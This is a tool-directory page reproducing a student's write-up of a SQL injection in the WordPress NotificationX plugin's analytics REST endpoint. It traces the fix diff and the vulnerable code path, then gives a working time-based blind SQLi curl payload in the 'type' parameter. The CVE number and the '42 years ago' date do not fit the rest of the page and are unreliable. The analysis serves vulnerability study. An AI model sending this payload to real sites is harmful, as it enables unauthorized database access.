Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/raytran54/cve-2019-1698
Vulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubraytran54/cve-2019-1698

CVE-2019-1698

Step-by-step technical analysis of CVE-2019-1698, a WordPress plugin SQL injection vulnerability, with code diff review, vulnerable function identification, and exploitation demonstration using curl.

View Repository
42 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

TRAN CONG DANH - SVTT - Mentor: LUU VAN LAN - CVE-2019-1698 - Day Started: 30/07/2024

  • Check the diff code betwween ver has vuln and ver of code with fix vuln:

Code reference 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php image

Code reference 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php image

Therefore, the following file is relevant to this CVE:

root@kitploit:~
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php

Now, we will check the file might have vuln code: image Focus on the insert_analytics() function: image It receives the (coming from the user) and extracts the parameter.

$request
type

Then, this value is then passed to the CoreAnalytics::get_instance()->insert_analytics() function: image

To trigger this code, we can notice the mapped route (from the Analytics class, inside the register_routes() function):

root@kitploit:~
$this->namespace . '/' . $this->rest_base

And the constructor for the Analytics class reveals the values for the namespace and rest_base variables:

root@kitploit:~
public function __construct() {
	$this->namespace = 'notificationx/v1';
	$this->rest_base = 'analytics';
	add_action('rest_api_init', [$this, 'register_routes']);
}

So, the relevant (vulnerable) code that accepts the user-supplied type parameter, can be reached via the following route:

root@kitploit:~
notificationx/v1/analytics

But what's the method for exploiting and where is the SQL query for injection?

Since the user-supplied type parameter is passed to:

root@kitploit:~
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );

Locating this function:

image Let's check this function code in the highlighted file:

wp-content/plugins/notificationx/includes/Core/Analytics.php: image

If you are thinking that it the vulnerability lies in the increment_count() function, then you are absolutely on the right track!

Here's the increment_count function (and it has the $type parameter coming from the user): image

This function in-turn calls update_analytics() function. Let's address for it: image

image

The update_analytics function creates an SQL query dynamically and the unsanitized user-input is a part of it. Smells fishy? It should, because this is what causes the vulnerability.

The $col parameter corresponds to the type parameter sent by the user, in the HTTP request.

The $table_name is set to: nx_stats:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}

To identify the correct verb, I leveraged the WordPress REST API:

root@kitploit:~
http://localhost/wp-json/

image

The /notificationx/v1/analytics API route can be triggered by a POST request and we have to pass the nx_id (an integer) and (optionally) the type (a string).

Remember, that the analytics information was updated in the table named nx_stats, which we deduced earlier using these code snippets from wp-content/plugins/notificationx/includes/Core/Database.php:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}
root@kitploit:~
$table_name = self::$table_stats;

image

Triggering the vulnerable code path

Our plan is to see the constructed SQL query when we pass our payload in the request.

And now, we will send our curl (with the SQLi payload) request again:

root@kitploit:~
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

image

Download Tool